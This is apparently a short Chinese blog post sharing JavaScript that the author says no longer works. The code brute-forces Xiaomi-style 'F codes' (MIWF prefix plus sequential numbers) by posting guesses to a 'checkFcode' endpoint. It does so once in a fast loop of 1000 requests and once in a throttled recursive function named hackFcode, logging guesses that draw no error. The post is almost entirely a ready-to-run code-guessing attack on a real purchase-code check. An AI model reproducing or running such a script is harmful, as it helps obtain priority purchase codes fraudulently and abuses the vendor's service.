之前写过的一段代码现在用不了了

/**

 * MIWF17283726319273827

**/

 

var vcode = '';

for(var i=0; i<1000; i++) {

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"F\u7801\u8f93\u5165\u4e0d\u6b63\u786e\uff01\u8bf7\u91cd\u65b0\u8f93\u5165\u6b63\u786e\u7684F\u7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

}

 

/**/

var i = 0;

(function hackFcode(){

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"F\u7801\u8f93\u5165\u4e0d\u6b63\u786e\uff01\u8bf7\u91cd\u65b0\u8f93\u5165\u6b63\u786e\u7684F\u7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

    i++;

    setTimeout(hackFcode, 2000);

})();

 

你可能感兴趣的:(代码)